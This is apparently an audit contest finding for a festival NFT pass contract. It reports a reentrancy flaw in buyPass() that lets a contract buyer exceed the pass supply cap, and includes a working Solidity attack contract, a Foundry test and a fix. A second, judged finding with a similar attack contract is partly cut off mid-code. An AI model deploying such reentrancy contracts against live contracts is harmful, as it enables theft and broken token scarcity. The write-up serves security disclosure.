Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

buyPass() allows reentrant purchases to bypass the pass supply cap

Root + Impact

Because buyPass() calls _mint() before incrementing passSupply, a contract buyer can reenter during the ERC1155 receive hook and mint more passes than the configured passMaxSupply.

Description

  • The intended behavior is that buyPass() validates the selected pass tier, verifies the exact payment amount, checks that at least one unit of supply remains, and then finalizes the purchase so that the remaining supply is reduced before any further purchase for that tier can succeed. This ensures the configured passMaxSupply acts as a hard cap on the total number of passes that can ever be minted.

  • The issue is that buyPass() performs the supply check and then calls _mint() before incrementing passSupply. When the buyer is a contract, _mint() triggers onERC1155Received(), which gives the receiver control before the supply counter is updated. A malicious receiver can use that callback to call buyPass() again while passSupply still reflects the old value, allowing multiple purchases to pass against the same remaining slot and causing total minted supply to exceed passMaxSupply.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
}

Risk

Likelihood: Medium

  • The attack requires the buyer to purchase through a contract implementing onERC1155Received().

  • Once the remaining supply is low enough, the exploit is deterministic because the reentrancy point is created directly by the mint flow.

Impact: Medium

  • An attacker can mint more passes than the configured cap for a tier, breaking scarcity guarantees and corrupting protocol-side supply accounting.

  • For pass tiers with a BEAT welcome bonus, the attacker also receives the extra bonus for each pass minted through reentrancy.

Proof of Concept

The following test leaves exactly one BACKSTAGE pass remaining and shows that a malicious receiver can use reentrancy to mint two additional passes, causing total minted supply to exceed the configured cap.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
interface IFestival {
function buyPass(uint256 passType) external payable;
function balanceOf(address account, uint256 id) external view returns (uint256);
function passSupply(uint256 id) external view returns (uint256);
}
contract Attack is IERC1155Receiver {
IFestival public festival;
uint256 public constant BACKSTAGE_PASS = 3;
uint256 public constant BACKSTAGE_PRICE = 0.25 ether;
uint256 public reentries;
constructor(address _festival) payable {
festival = IFestival(_festival);
}
function attack() external {
festival.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external override returns (bytes4) {
// Reenter only once so the PoC stays minimal:
// one initial purchase plus one nested purchase.
if (reentries < 1) {
reentries++;
festival.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
receive() external payable {}
}
function test_Reentrancy_AllowsMintingBeyondMaxSupply() public {
address legitimateUser = makeAddr("legitimateUser");
vm.deal(legitimateUser, 99 * BACKSTAGE_PRICE);
// First, honest users buy 99 passes so only 1 pass remains available.
for (uint256 i; i < 99; i++) {
vm.prank(legitimateUser);
festivalPass.buyPass{value: BACKSTAGE_PRICE}(3);
}
// Confirm the tier is now one unit below its intended max supply.
assertEq(festivalPass.passSupply(3), 99);
// Fund the attack contract with enough ETH for the initial call
// and one reentrant purchase during the ERC1155 receive hook.
Attack attack = new Attack{value: 2 * BACKSTAGE_PRICE}(address(festivalPass));
// The first buyPass() call mints one pass and triggers onERC1155Received().
// Inside that callback, the attacker reenters buyPass() before passSupply is incremented.
attack.attack();
// The attacker obtains 2 passes even though only 1 slot remained.
assertEq(festivalPass.balanceOf(address(attack), 3), 2);
// Total minted supply now exceeds the configured maximum.
assertEq(festivalPass.passSupply(3), 101);
assertGt(festivalPass.passSupply(3), BACKSTAGE_MAX_SUPPLY);
}

Recommended Mitigation

Consume one unit of supply before calling _mint() so the cap is enforced before any ERC1155 receiver callback can run. Adding a reentrancy guard to buyPass() would provide additional protection against the same class of issue.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ ++passSupply[collectionId];
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!